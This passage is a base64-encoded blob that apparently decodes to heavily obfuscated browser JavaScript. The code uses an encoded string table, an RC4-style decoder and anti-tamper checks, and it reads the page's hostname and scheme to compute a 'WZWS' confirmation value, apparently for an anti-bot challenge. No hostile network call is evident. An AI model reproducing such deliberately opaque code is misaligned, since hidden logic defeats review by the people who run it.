weDYrMHgxYTAzKy0weDVjKjB4MWEpLC0oMHgxMDYyKzB4ZSoweDU5Ky0weDE1M2YpLC0oLTB4MSoweDEwMjErLTB4MWQ4NSsweDJkYTcpLC0oMHgxMGFmKy0weDEzOTUqMHgxKzB4MmU3KSwtKC0weGM1Ki0weGIrMHgyKi0weGNhOSsweDg2ZSoweDIpLC0oMHgxM2UqMHg1KzB4MTZhKi0weDFhKzB4MWU4ZiksLSgtMHgxZDZiKi0weDErMHgxNDkxKy0weDMxZmIpLC0oLTB4MSotMHhmOTUrLTB4MWFhZSsweDMxKjB4M2EpLC0oMHgxYTY2KzB4MSotMHgyNTFkKzB4YWI4KSwtKC0weDEqLTB4MWZjYSsweDFiMzYrMHg1NWQqLTB4YiksLSgweDEqMHhjNTkrMHg0ZDIrMHgxYSotMHhhOSksLSgtMHg0Ki0weDIxNisweDEwYWIqLTB4MisweDUxKjB4NGYpLC0oMHhmZDQrLTB4MjM3ZCsweDEzYWEpLC0oMHgxOTcrLTB4Njg3Ki0weDUrLTB4MjIzOSksLSgtMHgxNTdkKjB4MSsweDUzKjB4MmUrMHgxKjB4Njk0KSwtKDB4MWU1Ki0weGIrMHgxOTU2Ky0weDQ3ZSksLSgtMHgxKjB4NTc3Ky0weDRmYSsweGE3MiksLSgweDI1YjArLTB4MTQ3NCstMHgxMTNiKSwtKDB4MTZjNyotMHgxKzB4MjcwMCstMHgxMDM4KSwtKDB4MjVhOCsweDIqLTB4ODJjKy0weDUqMHg0NDMpLC0oLTB4MTAxZistMHhhZiotMHgyKzB4ZWMyKSwtKC0weDVlMystMHgxMTA3KzB4MTZlYiksLSgtMHgxKjB4MTc5MSsweDM4MysweDE0MGYpLC0oMHgxZDkyKy0weDIqLTB4MTErLTB4MWRiMyksLSgtMHgxOTU3KjB4MSstMHgzNjMqLTB4NisweDUwNioweDEpLC0oMHhhMyoweDEyKzB4MTk2MyotMHgxKzB4ZGVlKjB4MSksLSgweDEwNTQrMHgxZSoweDErMHhiNyotMHgxNyksLSgweDY2OSstMHgyKjB4MTE1YSstMHhlMjYqLTB4MiksLSgweDI1ZmUrMHgxYWM3Ky0weDQwYzQpLC0oLTB4NmQ2Ky0weDUqLTB4ZGUrMHgyODEpLC0oMHgyNGU0Ky0weDFkNTkrLTB4MTgyKjB4NSksLSgweDEyMmMrMHhmMGYrMHgyKi0weDEwOWQpLC0oLTB4MTg4NistMHgxMCotMHgzOCsweDE1MDcpLC0oMHgxKjB4MmQwKy0weDkqMHgzOTkrMHgxZDkyKSwtKC0weDEwYWIrMHgxMjU2Ki0weDErLTB4MTE4MSotMHgyKSwtKC0weDExKjB4MWIzKzB4N2FlKzB4YSoweDIxZiksLSgweDMqLTB4OGMrLTB4MTlhZisweDFiNTQpLC0oLTB4MjQyOCstMHgxNGIzKzB4MzhkYyksLSgtMHg2YSoweDUrMHgxODk0KzB4MTY4MSotMHgxKSwweDViZistMHhhYTIrMHg1MjEsLSgtMHhmNDArMHgyKjB4NmU3KzB4MTczKjB4MSksLSgtMHgxKjB4YzgyKzB4MjBiNistMHgxNDMzKSwtKC0weDEqMHgxMWNmKy0weDExN2QrMHgyMzRkKSwtMHgxNjZmKzB4MWNlKzB4MTRlMCwweGYwMSsweDFmNzErLTB4MmUzZSwtMHhhKjB4MTFkKzB4MWQ4KzB4OTdmLC0weDZhMSstMHgxMTYxKzB4NjBlKjB4NCwweDZiKjB4NTYrLTB4MTIzZistMHgxMTdjLDB4NDQwKy0weDM3NyotMHgxKy0weDc3ZiwweDQyKi0weDg2KzB4MTgwZSstMHhkKi0weGQzLDB4MWY1OSotMHgxKzB4NzdlKy0weDRkMSotMHg1LDB4MyotMHg2ODArMHgxOCotMHg0YystMHgzNyotMHg3ZCwtMHg4OGQrMHhhOWErLTB4MWQxLDB4NWVlKzB4MTBkMSstMHgxNjgyKjB4MSwtKC0weGM0NCsweDYzOSsweDYwYyksLSgweDEqMHgyM2M0KzB4MSotMHgxODdmKy0weGI0NCksLSgweDFlMmUrLTB4YzM5KjB4MSstMHgxMWY0KSwtKC0weDFlNzUrLTB4NmUrMHgxZWU0KSwtKDB4MzYqMHg0ZSsweDQ0NistMHgxNGI5KSwtKDB4MjAyZisweDI2MyotMHgzKy0weDE5MDUpLC0oLTB4MWIyZistMHg4MjkqLTB4MSstMHgxMzA3Ki0weDEpLC0weDEwNiotMHhjKzB4MTA5YystMHgxY2U0LDB4MTFmYSstMHgyNTEyKzB4MSoweDEzMTksMHhkNWIrLTB4MjU3MiotMHgxKy0weDMyY2IsMHg1OTkqMHgyKzB4ZGYqLTB4NystMHg1MTYsLTB4MTIzMCstMHgyKjB4MTA2OSsweDMzMDYsMHhhMTkrMHg2MzcrMHg2MSotMHgyYiwtMHgxNWE2Ki0weDErLTB4ZTlmKi0weDErLTB4MjQzZioweDEsMHgxMjQwKy0weDIqLTB4MTVkKy0weDE0ZjMsLTB4MWVlOCstMHhhNjMrMHgxKjB4Mjk1MywtMHgxKjB4MmFiKzB4ZDFiKzB4MSotMHhhNjcsLTB4MWUxNyotMHgxKzB4MWRhMCoweDErLTB4M2JhZCwtMHgzKi0weDRkNisweDMwNCotMHg0KzB4NSotMHg3YiwtMHgyMyoweDEwYistMHgxYmFmKjB4MSsweDQwM2MsMHg1OGIrLTB4MTNkKi0weDIrLTB4N2Y4LC0weDExNzYrLTB4MSoweDJlMisweGUqMHgxNzUsMHgyMTArMHgxZGIwKy0weDEqMHgxZmIxLDB4OSoweDFmNystMHg3MyotMHgxNystMHhkZmEqMHgyLDB4MWQqMHhiZistMHhmYjUrLTB4NWRkLC0weDQqMHg3YzErLTB4MjY1YystMHgyMmI5Ki0weDIsLTB4MSoweDFlNTUrLTB4MzE0KjB4MSstMHg0Ki0weDg1ZiwtMHhmZTkqLTB4MSstMHgxZCotMHg2Ky0weDMqMHg1ODEsLTB4MyoweDI2NisweDEqMHgxNDkyKy0weGQ0YiwweDEwM2IrLTB4NjcqMHgzZCsweDg2NioweDEsLTB4MjQ0NSstMHgyNTIzKy0weDQ5N2YqLTB4MSwtMHg3KjB4NmMrLTB4MTljMCsweDRjKjB4NjEsLTB4MiotMHhjMzErMHg0NSoweDhhKy0weDNkN2IsLSgweDExMzkrMHg0ZmEqLTB4NCsweDJiMCksLSgweDExNmUrMHgyMjQzKi0weDErMHgxMGQ2KSwtKC0weDRmKi0weDM2Ky0weDgqMHgzNjMrMHhhNmYpLC0oLTB4MTk4ZSstMHgyNmZlKzB4NDA4ZCksLSgtMHgzKjB4OTYrLTB4NjIyKi0weDIrMHhhODEqLTB4MSksLSgweDExKjB4MistMHhkOTMrLTB4MiotMHg2YjkpLC0weDEqMHgxNDkxKzB4NCoweDgyMSstMHhiZDksMHgyM2MwKzB4YTYrLTB4MjQ0YiwtMHgxMjMrLTB4MSotMHgxNjJhKy0weDEzYioweDExLC0weDIqLTB4ZTEyKy0weDI1OGMrMHg5ODUqMHgxLC0weDY1KjB4NDcrLTB4MWJiKjB4MTQrMHgzZWJkLDB4OSoweGRiKy0weDE2YSoweDErLTB4MTA3KjB4NiwweGJlMystMHhjYistMHhhZjgsMHgxMzRmKy0weDI1YmYrMHgzMSoweDYxLC0weDNlOSstMHgxKjB4ZThhKzB4MTI5NSwtMHgxYjMqMHgxMysweDEzMTEqLTB4MSstMHgzMzdkKi0weDEsMHhiY2UqLTB4MSsweDE4NWEqMHgxKy0weDgqMHgxOGQsLTB4NmEzKi0weDUrLTB4MjYzNystMHgxOSotMHgzNSwtMHgzMjUrMHgyMjM1Ky0weDFlZWEsMHgxKjB4YjMrLTB4M2I5Ki0weDgrLTB4MWU1NCwweDE0MmUrLTB4ZWRlKy0weDUyOCwweDIxN2MrMHgyMDJjKy0weDQxN2YsMHhhMmIrLTB4MSoweDFhNDIrLTB4ZGIqLTB4MTMsLTB4MTFkMisweDIyMDQrLTB4MTAwNywweDIwZGQrMHgyNjc0Ki0weDErMHg1YzMqMHgxLC0weDEqMHgxOGYzKzB4MTNjYSsweDU1NiwweGVlZSsweDI0NzArMHgxYyotMHgxZDQsLTB4MTk3YystMHgxYWQ0Ky0weDEqLTB4MzQ3ZiwweDFjOGQrMHgxZjQ5Ki0weDErMHgyZWMsMHhmNTQrMHgxNjFkKjB4MSstMHgyMCoweDEyYSwtMHgxODkwKy0weDVkKjB4MmYrMHgyOWQ1LDB4OCotMHg4MysweDEqMHgxNWI1Ky0weDExNmEsLSgtMHgxZWYrLTB4OTkqMHgyMisweDIwNioweGIpLC0oMHhmMWYrMHgyKjB4ZDFmKy0weGE1NyoweDQpLC0oLTB4MTIxMyotMHgyKy0weGJjKi0weDE1KzB4MmIqLTB4MTMzKSwtKDB4ZSoweDFhZSstMHhmZDgrLTB4N2FiKSwtKC0weDEqMHhkMTMrMHgxOGViKy0weGJkNykpO2Z1bmN0aW9uIGEobyxzKXtyZXR1cm4gUihzLScweDI5Yicsbyk7fWZ1bmN0aW9uIEQwKG8scyl7cmV0dXJuIFIocy0gLScweDJiMScsbyk7fXZhciBHPW9bJ2xlbmd0JysnaCddLHY9Jyc7ZnVuY3Rpb24gRDEobyxzKXtyZXR1cm4gdShvLSAtJzB4NmUnLHMpO31mdW5jdGlvbiB3KG8scyl7cmV0dXJuIHUocy0nMHgyYmQnLG8pO31mb3IodmFyIHI9LTB4ZCotMHhjOCsweDVlKy0weGE4NjtzW3coJzYmY0wnLCcweDQ4NCcpXShyLEcpOyl7dmFyIEwsZixoLFM7ZG97c1t3KCdvNmFdJywnMHg1MGQnKV0oc1t3KCdTbDRBJywnMHg0OWQnKV0sc1snWU9aaFonXSk/cSs9R1thKCcweDNkNicsJzB4NDIwJykrJ29kZUF0J10odik6TD1xW3NbdygnOExYYicsJzB4NDZhJyldKG9bJ2NoYXJDJysnb2RlQXQnXShyKyspLDB4MWRhYisweDNkYSotMHgxKy0weDMqMHg4NDYpXTt9d2hpbGUoc1tEMCgtJzB4MTIzJywtJzB4MTlmJyldKHIsRykmJnNbRDAoLScweGU1JywtJzB4ZWMnKV0oTCwtKDB4MTM3ZSstMHgxZGMqMHgyKy0weGZjNSoweDEpKSk7aWYoc1t3KCdbVFlZJywnMHg1MGYnKV0oTCwtKC0weDNhNSstMHgxKjB4NjcrLTB4MSotMHg0MGQpKSlicmVhaztkb3tmPXFbc1t3KCdrKXhhJywnMHg0NzUnKV0ob1thKCcweDNkMicsJzB4NDIwJykrRDEoJzB4MTk4JywnNiZjTCcpXShyKyspLC0weDc2ZSsweDYzZSsweDIyZildO313aGlsZShzW2EoJzB4NGExJywnMHgzZmInKV0ocixHKSYmc1snaEFlekknXShmLC0oMHg1NjUqMHgxKy0weDRkKi0weDQ5Ky0weDFiNTkpKSk7aWYoc1tEMSgnMHhiOScsJyNKTncnKV0oZiwtKC0weGI2MyotMHgxKzB4NGFmKy0weDEwMTEpKSlicmVhazt2Kz1TdHJpbmdbRDAoLScweDg5JywtJzB4ZTQnKStEMSgnMHhjZScsJzYmY0wnKSsnZGUnXShzW0QwKC0nMHgxOGInLC0nMHgxMjQnKV0oc1tEMSgnMHgxOWEnLCdRZlBVJyldKEwsMHgyMzZmKzB4NTBlKy0weDI4N2IpLHNbJ0ZOU0pJJ10oc1thKCcweDNkMycsJzB4NDY5JyldKGYsMHgxMjEqMHgyKy0weDFiNCoweDkrLTB4MiotMHg2YTEpLC0weDEwM2UrLTB4Y2FhKjB4MSsweDFjZWMpKSk7ZG97aWYoc1t3KCduRCNxJywnMHg0OWUnKV0oc1thKCcweDUxMScsJzB4NDcwJyldLHNbJ3dmdEhpJ10pKXtoPXNbRDEoJzB4MWNmJywnQDUoMScpXShvWydjaGFyQycrdygnUWZQVScsJzB4NGNhJyldKHIrKyksMHgxNTEzKy0weDEwNGIrLTB4M2M5KTtpZihzW2EoJzB4NTFiJywnMHg0YTQnKV0oaCwweDI0Ki0weGEzKzB4MWMqLTB4OTQrMHg1OWYqMHg3KSlyZXR1cm4gdjtoPXFbaF07fWVsc2V7dmFyIGQ9c1thKCcweDRmMCcsJzB4NGUyJyldWydzcGxpdCddKCd8JyksSj0weDgwKi0weGIrLTB4MSoweGVhNSsweDE0MjU7d2hpbGUoISFbXSl7c3dpdGNoKGRbSisrXSl7Y2FzZScwJzp2YXIgZT1PWydsZW5ndCcrJ2gnXTtjb250aW51ZTtjYXNlJzEnOnZhciBtPW5ldyBTKGUpO2NvbnRpbnVlO2Nhc2UnMic6cmV0dXJuIEFbYSgnMHg0MGEnLCcweDNlNScpKydlJ10obVthKCcweDNjZScsJzB4NDY2JykrJ3InXSk7Y2FzZSczJzp2YXIgTz1zW0QxKCcweDFlMCcsJ2MjMTgnKV0oZixoKTtjb250aW51ZTtjYXNlJzQnOmZvcih2YXIgbD0tMHg1ZTcrLTB4YyotMHgzMzYrLTB4MSoweDIwYTE7c1t3KCcjSk53JywnMHg0N2UnKV0obCxlKTtsKyspe21bbF09T1tEMCgtJzB4ZjQnLC0nMHgxMmMnKSt3KCdsNFpDJywnMHg0N2InKV0obCk7fWNvbnRpbnVlO2Nhc2UnNSc6aWYoIXIpcmV0dXJuIEw7Y29udGludWU7fWJyZWFrO319fXdoaWxlKHNbJ0l6Y0tBJ10ocixHKSYmc1t3KCdFIWchJywnMHg0NDcnKV0oaCwtKC0weDQwNystMHhkKi0weDkrMHgzKjB4MTMxKSkpO2lmKHNbJ0dNVmVLJ10oaCwtKC0weDQxKjB4MWQrMHg1ZTMrMHgxN2IpKSlicmVhazt2Kz1TdHJpbmdbYSgnMHg0YWInLCcweDQ2OCcpK2EoJzB4NDQ2JywnMHg0NWUnKSsnZGUnXShzW2EoJzB4M2NjJywnMHg0MjgnKV0oc1tEMSgnMHhkOScsJzhMWGInKV0oc1tEMSgnMHhmOCcsJ1NsNEEnKV0oZiwtMHgxMzcxKzB4YioweDMzZCstMHgxMDFmKSwtMHgxODVkKy0weDU3NysweDFkZDgpLHNbYSgnMHgzOTInLCcweDNlNicpXShzW2EoJzB4MzRmJywnMHgzYWUnKV0oaCwtMHgyKjB4NWNmKzB4MjkqLTB4MTArMHg1YSoweDI5KSwweGFkKjB4MjUrMHgxYjlkKy0weDM0OWMpKSk7ZG97Uz1zWydGcUdFbyddKG9bRDEoJzB4ZTAnLCdBQWFZJykrRDAoLScweDE4YScsLScweGY1JyldKHIrKyksMHgxZTYqLTB4NSstMHgxMmMrMHhiYTkpO2lmKHNbJ0pDQURiJ10oUywweDFhYTcrMHg5MTYrLTB4MjM4MCkpcmV0dXJuIHY7Uz1xW1NdO313aGlsZShzW3coJ01VY0knLCcweDNmMCcpXShyLEcpJiZzW2EoJzB4NDcyJywnMHg0Y2YnKV0oUywtKC0weDFiMGErLTB4MjcwNCsweDEqMHg0MjBmKSkpO2lmKHNbJ3JvVERRJ10oUywtKDB4YjkyKy0weGRlMysweDI1MikpKWJyZWFrO3YrPVN0cmluZ1t3KCdKaEZVJywnMHg0NjQnKSthKCcweDRkYicsJzB4NDVlJykrJ2RlJ10oc1tEMSgnMHgxNTgnLCdZRzRYJyldKHNbYSgnMHg1NjQnLCcweDRkNCcpXShzW2EoJzB4NDIzJywnMHg0ODAnKV0oaCwweDFlYTArLTB4MTkwOSsweDE2NSotMHg0KSwweDFjNWUrLTB4MzM4Ky0weDE5MjApLFMpKTt9cmV0dXJuIHY7fWZ1bmN0aW9uIEIoKXt2YXIgbz17J25qWnlMJzpEMignMHg0MGUnLCcweDQwNicpK0QyKCcweDMxNCcsJzB4MzZlJykrJzAnLCdaVGxnWCc6ZnVuY3Rpb24ocixMKXtyZXR1cm4gcitMO30sJ3l2a0lOJzpmdW5jdGlvbihyLEwpe3JldHVybiByPEw7fX07ZnVuY3Rpb24gRDMobyxzKXtyZXR1cm4gUihvLScweDFhOScscyk7fWZ1bmN0aW9uIEQ1KG8scyl7cmV0dXJuIHUoby0nMHgzMTMnLHMpO31mdW5jdGlvbiBENChvLHMpe3JldHVybiB1KHMtJzB4M2UnLG8pO312YXIgcz1vWydualp5TCddW0QzKCcweDJlMScsJzB4MzI0JyldKCd8JykscT0weDFmNjQrLTB4MTE2KjB4NistMHgxOGUwO2Z1bmN0aW9uIEQyKG8scyl7cmV0dXJuIFIocy0nMHgyMmUnLG8pO313aGlsZSghIVtdKXtzd2l0Y2goc1txKytdKXtjYXNlJzAnOnJldHVybiBvW0QyKCcweDNjNicsJzB4M2I3JyldKCdXWldTX0NPTkZJUk1fUFJFRklYX0xBQkVMJyx2KTtjYXNlJzEnOnZhciBHPS0weDJlMiotMHgyKzB4MTQ4NystMHgxYTRiO2NvbnRpbnVlO2Nhc2UnMic6dio9Qztjb250aW51ZTtjYXNlJzMnOmZvcihHPS0weDUqMHg4Ky0weDdlMisweDgwYTtvW0Q0KCdKaEZVJywnMHgyOGInKV0oRyxGWydsZW5ndCcrJ2gnXSk7RysrKXt2Kz1GWydjaGFyQycrRDQoJ1g5UF4nLCcweDE2OCcpXShHKTt9Y29udGludWU7Y2FzZSc0Jzp2YXIgdj0tMHgzMjkrLTB4MWI5ZSstMHgxKi0weDFlYzc7Y29udGludWU7Y2FzZSc1Jzp2Kz0weDk5OGErLTB4MzE3ZDErMHg0MzA0ZTtjb250aW51ZTt9YnJlYWs7fX1mdW5jdGlvbiB5KCl7dmFyIG89eydZYmJuZic6ZnVuY3Rpb24ocSxHKXtyZXR1cm4gcSE9PUc7fSwnTXdvd3gnOmZ1bmN0aW9uKHEsRyl7cmV0dXJuIHEoRyk7fX07ZnVuY3Rpb24gRDcobyxzKXtyZXR1cm4gdShzLScweDIxZicsbyk7fWZ1bmN0aW9uIEQ4KG8scyl7cmV0dXJuIHUoby0nMHgzYmMnLHMpO31mdW5jdGlvbiBEOShvLHMpe3JldHVybiBSKHMtJzB4MWE1JyxvKTt9dmFyIHM9eydob3N0bmFtZSc6d2luZG93W0Q2KC0nMHgxZDcnLC0nMHgxNDAnKStENygneGdbSicsJzB4MzRhJyldW0Q4KCcweDU0YScsJ0xwJFEnKStENigtJzB4MWYnLC0nMHgzYicpXSwnc2NoZW1lJzp3aW5kb3dbRDcoJ1tUWVknLCcweDQ2OCcpK0Q2KC0nMHhmNicsLScweDE2ZCcpXVsncHJvdG8nK0Q4KCcweDU5MicsJ25EI3EnKV1bRDgoJzB4NWEwJywnalt1cycpKydjZSddKCc6JywnJyl9O2Z1bmN0aW9uIEQ2KG8scyl7cmV0dXJuIFIocy0gLScweDI2Micsbyk7fXJldHVybiBvW0Q5KCcweDM3ZCcsJzB4MzA3JyldKFlbJ2luZGV4JysnT2YnXSgnV1pXU18nKSwtMHhiKi0weDI1ZSsweDMwKjB4NystMHgxYjVhKjB4MSkmJihzW0Q4KCcweDVkOScsJ1g5UF4nKSsneSddPVkpLG9bRDgoJzB4NTAwJywnWDlQXicpXShVLEpTT05bRDcoJzZoQGInLCcweDQxMCcpK0Q4KCcweDU5NScsJ1M2c2onKV0ocykpO31mdW5jdGlvbiB1KEQsbyl7dmFyIHM9YigpO3JldHVybiB1PWZ1bmN0aW9uKHEsUil7cT1xLSgtMHgyNmVlKzB4OWE3KzB4MWUzYyk7dmFyIEc9c1txXTtpZih1WydDUmhSYm0nXT09PXVuZGVmaW5lZCl7dmFyIHY9ZnVuY3Rpb24oUyl7dmFyIEE9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89Jzt2YXIgej0nJyxOPScnLEU9eit2O2Zvcih2YXIgSz0weDg0NyoweDIrLTB4MTI1KjB4MSstMHhmNjkqMHgxLGQsSixlPTB4ZTkqLTB4MSstMHhmKi0weDIyNSstMHhmYTEqMHgyO0o9U1snY2hhckF0J10oZSsrKTt+SiYmKGQ9SyUoMHg5KjB4MWEzKy0weDhjOCsweDVlZiotMHgxKT9kKigtMHgxKjB4MTkzNysweDE5ZjIrLTB4N2IpK0o6SixLKyslKC0weDMqLTB4OThmKzB4MTkqMHg1ZistMHgyNWYwKSk/eis9RVsnY2hhckNvZGVBdCddKGUrKDB4N2YzKy0weDE1YjcrMHhkY2UpKS0oMHhmNzArLTB4MSoweDFjZjMrMHhkOGQqMHgxKSE9PS0weGY3MCstMHgxM2UyKzB4MjM1Mj9TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKC0weDEzKi0weGYrLTB4MWUwMistMHhlZjIqLTB4MiZkPj4oLSgweGUqMHhiMystMHgyNDM3Ky0weDY1Ki0weDQzKSpLJjB4MTJiNCstMHg0YTErLTB4ZTBkKSk6SzotMHgxKjB4MTBlNSsweDE5NysweDEqMHhmNGUpe0o9QVsnaW5kZXhPZiddKEopO31mb3IodmFyIG09LTB4MmIqMHgxMSsweDEqMHgxOTYxKy0weGJhKjB4MWYsYz16WydsZW5ndGgnXTttPGM7bSsrKXtOKz0nJScrKCcwMCcrelsnY2hhckNvZGVBdCddKG0pWyd0b1N0cmluZyddKDB4YSoweDcrMHgyYzAqLTB4NisweDEwNGEpKVsnc2xpY2UnXSgtKC0weDFiYjIrMHgyYiotMHg1NystMHg5ZCotMHg0NSkpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KE4pO307dmFyIGg9ZnVuY3Rpb24oUyxBKXt2YXIgej1bXSxOPTB4YjhhKy0weDJlKi0weDUwKy0weDE5ZWEqMHgxLEUsSz0nJztTPXYoUyk7dmFyIGQ7Zm9yKGQ9MHg4YSoweDErMHg1ZTcqLTB4MSsweDU1ZDtkPC0weDFiZDQrMHg0Ki0weDE5MSsweDIzMTg7ZCsrKXt6W2RdPWQ7fWZvcihkPS0weDEqMHgzODIrLTB4NzdiKzB4YWZkO2Q8MHgyMjY3Ki0weDErMHg2MTkrMHgxZDRlO2QrKyl7Tj0oTit6W2RdK0FbJ2NoYXJDb2RlQXQnXShkJUFbJ2xlbmd0aCddKSklKC0weDcqLTB4MmEyKy0weDExOTYrMHgyOCksRT16W2RdLHpbZF09eltOXSx6W05dPUU7fWQ9LTB4MSotMHgxZDMxKy0weDEqMHgzNistMHg5YTkqMHgzLE49LTB4MWIxNysweDI0NGErLTB4OTMzO2Zvcih2YXIgSj0tMHgyMjEyKjB4MSstMHg1YiotMHgzKzB4MjEwMTtKPFNbJ2xlbmd0aCddO0orKyl7ZD0oZCsoLTB4YmRiKy0weDlmYSsweDE1ZDYpKSUoMHg2ZWUrLTB4MjM4Ky0weDNiNiksTj0oTit6W2RdKSUoMHg5NSotMHgxNysweGE0Ki0weGYrLTB4MSotMHgxN2ZmKSxFPXpbZF0seltkXT16W05dLHpbTl09RSxLKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKFNbJ2NoYXJDb2RlQXQnXShKKV56Wyh6W2RdK3pbTl0pJSgweDEqMHgxNDQ1Ky0weDEqMHhlOSstMHgxMjVjKV0pO31yZXR1cm4gSzt9O3VbJ3NySXBwdiddPWgsRD1hcmd1bWVudHMsdVsnQ1JoUmJtJ109ISFbXTt9dmFyIHI9c1sweDJkNyoweDQrMHhjNiotMHg5KzB4MSotMHg0NjZdLEw9cStyLGY9RFtMXTtpZighZil7aWYodVsnRlV5bmVLJ109PT11bmRlZmluZWQpe3ZhciBTPWZ1bmN0aW9uKEEpe3RoaXNbJ3NZa0RKViddPUEsdGhpc1snZHRvT3NKJ109Wy0weDI2YiotMHg5KzB4MjM4MistMHgzOTQ0LDB4MzhlKy0weDE0ZWYrMHgxMTYxLDB4MSoweDEzMzcrMHgxNzNkKy0weDE2KjB4MWVlXSx0aGlzWydWd1ZWRk4nXT1mdW5jdGlvbigpe3JldHVybiduZXdTdGF0ZSc7fSx0aGlzWydJc0pmTkYnXT0nXHg1Y3crXHgyMCpceDVjKFx4NWMpXHgyMCp7XHg1Y3crXHgyMConLHRoaXNbJ1BWa2JnbSddPSdbXHgyN3xceDIyXS4rW1x4Mjd8XHgyMl07P1x4MjAqfSc7fTtTWydwcm90b3R5cGUnXVsnTGRBTXlHJ109ZnVuY3Rpb24oKXt2YXIgQT1uZXcgUmVnRXhwKHRoaXNbJ0lzSmZORiddK3RoaXNbJ1BWa2JnbSddKSx6PUFbJ3Rlc3QnXSh0aGlzWydWd1ZWRk4nXVsndG9TdHJpbmcnXSgpKT8tLXRoaXNbJ2R0b09zSiddWy0weDEqLTB4ODk5Ky0weDNmMioweDcrMHgyKjB4OTgzXTotLXRoaXNbJ2R0b09zSiddWy0weDEwMTQrMHg1MisweGZjMl07cmV0dXJuIHRoaXNbJ1B0YVNrVCddKHopO30sU1sncHJvdG90eXBlJ11bJ1B0YVNrVCddPWZ1bmN0aW9uKEEpe2lmKCFCb29sZWFuKH5BKSlyZXR1cm4gQTtyZXR1cm4gdGhpc1snVHdTaUZBJ10odGhpc1snc1lrREpWJ10pO30sU1sncHJvdG90eXBlJ11bJ1R3U2lGQSddPWZ1bmN0aW9uKEEpe2Zvcih2YXIgej0weDEwNWQrLTB4MjUxMisweDE0YjUsTj10aGlzWydkdG9Pc0onXVsnbGVuZ3RoJ107ejxOO3orKyl7dGhpc1snZHRvT3NKJ11bJ3B1c2gnXShNYXRoWydyb3VuZCddKE1hdGhbJ3JhbmRvbSddKCkpKSxOPXRoaXNbJ2R0b09zSiddWydsZW5ndGgnXTt9cmV0dXJuIEEodGhpc1snZHRvT3NKJ11bLTB4YThkKjB4MSstMHhmNjArMHgxOWVkXSk7fSxuZXcgUyh1KVsnTGRBTXlHJ10oKSx1WydGVXluZUsnXT0hIVtdO31HPXVbJ3NySXBwdiddKEcsUiksRFtMXT1HO31lbHNlIEc9ZjtyZXR1cm4gRzt9LHUoRCxvKTt9ZnVuY3Rpb24gUChvLHMpe3ZhciBxPXsnZmNCVnInOmZ1bmN0aW9uKGYpe3JldHVybiBmKCk7fSwna3NXWXQnOmZ1bmN0aW9uKGYsaCl7cmV0dXJuIGYoaCk7fSwnWkhNc0knOmZ1bmN0aW9uKGYsaCl7cmV0dXJuIGY8aDt9LCdCYXZJbSc6ZnVuY3Rpb24oZixoKXtyZXR1cm4gZiE9PWg7fSwnRHpYYXknOkREKCcweDFjNicsJ00wbm8nKSwnTVltWVQnOkRvKCcweDM3ZScsJzB4MzUzJyl9O2Z1bmN0aW9uIERvKG8scyl7cmV0dXJuIFIocy0nMHgxMDcnLG8pO31pZighbylyZXR1cm4gbzt2YXIgRz1xWydrc1dZdCddKFgsbyk7ZnVuY3Rpb24gREQobyxzKXtyZXR1cm4gdShvLScweGM4JyxzKTt9ZnVuY3Rpb24gRHMobyxzKXtyZXR1cm4gdShvLSAtJzB4MTI1JyxzKTt9dmFyIHY9R1tEcygnMHgyZicsJ0EpdWknKSsnaCddLHI9bmV3IFVpbnQ4QXJyYXkodik7ZnVuY3Rpb24gRHEobyxzKXtyZXR1cm4gUihzLSAtJzB4MTM5JyxvKTt9Zm9yKHZhciBMPS0weDEqMHhlNjcrLTB4MjNiOCsweDMyMWY7cVsnWkhNc0knXShMLHYpO0wrKyl7cVtEcygnMHgzZicsJ1FmUFUnKV0ocVtERCgnMHgzMGQnLCcjcEohJyldLHFbJ01ZbVlUJ10pP3JbTF09R1tERCgnMHgyMjQnLCcjSk53JykrRHEoJzB4M2YnLCcweDgzJyldKEwpOkFoQ3VnY1snZmNCVnInXShvKTt9cmV0dXJuIHNbRHEoLScweDg2JywnMHgxMScpKydlJ10ocltEcSgnMHgzOScsJzB4OTInKSsnciddKTt9ZnVuY3Rpb24gVihvLHMpe2Z1bmN0aW9uIERSKG8scyl7cmV0dXJuIFIocy0nMHgzZGYnLG8pO312YXIgcT17J3hVU3lwJzpmdW5jdGlvbihyLEwsZil7cmV0dXJuIHIoTCxmKTt9fTtmdW5jdGlvbiBEYihvLHMpe3JldHVybiBSKG8tJzB4MmVmJyxzKTt9dmFyIEc9bmV3IFRleHREZWNvZGVyKHMpLHY9cVtEYignMHg1NDAnLCcweDU4YicpXShQLG8sRyk7cmV0dXJuIEpTT05bRFIoJzB4NjI1JywnMHg2MTQnKV0odik7fWZ1bmN0aW9uIFcobyxzKXt2YXIgcT17J1BZSWN5JzpmdW5jdGlvbihTLEEpe3JldHVybiBTIT09QTt9LCdEdFN2Uyc6RHUoLScweDNmJywtJzB4OTInKSwnS0xISE4nOkRHKCcweDVhNScsJzB4NTE2JykrRHUoJzB4ZDInLCcweDY4JyksJ2dFWEllJzpmdW5jdGlvbihTLEEpe3JldHVybiBTIT1BO30sJ2RIT2lFJzpmdW5jdGlvbihTLEEseil7cmV0dXJuIFMoQSx6KTt9LCdLRXFNWCc6RHUoLScweDE4JywnMHg4MicpK0R1KC0nMHgxM2UnLC0nMHg4ZScpKyczJywnU2hTQmwnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM8QTt9LCdzTHZvQic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUytBO30sJ3FhcWFrJzpEdignMWYkbicsJzB4MzkwJyksJ2pTc05rJzpEdSgnMHgyMCcsLScweDE3JyksJ25VdlROJzpEdSgnMHhlNicsJzB4OTgnKSwnSlFPVnQnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM9PUE7fSwnSnZMWUwnOidzdHJpbicrJ2cnLCdKYXFRWSc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUz09PUE7fSwnTkZibVYnOidGa0hKbycsJ3pRYkt2JzpEdSgnMHgxMDMnLCcweGJkJykrJ3QnLCdrQklJayc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUyE9PUE7fSwnV2JMYVAnOkRyKCdrKXhhJywnMHgzNDcnKSwnbFN6R28nOidXSnZ4dicsJ2V2dERjJzpEdignOXdjTycsJzB4MzFmJyl9O2Z1bmN0aW9uIER1KG8scyl7cmV0dXJuIFIocy0gLScweDE4ZCcsbyk7fWZ1bmN0aW9uIERHKG8scyl7cmV0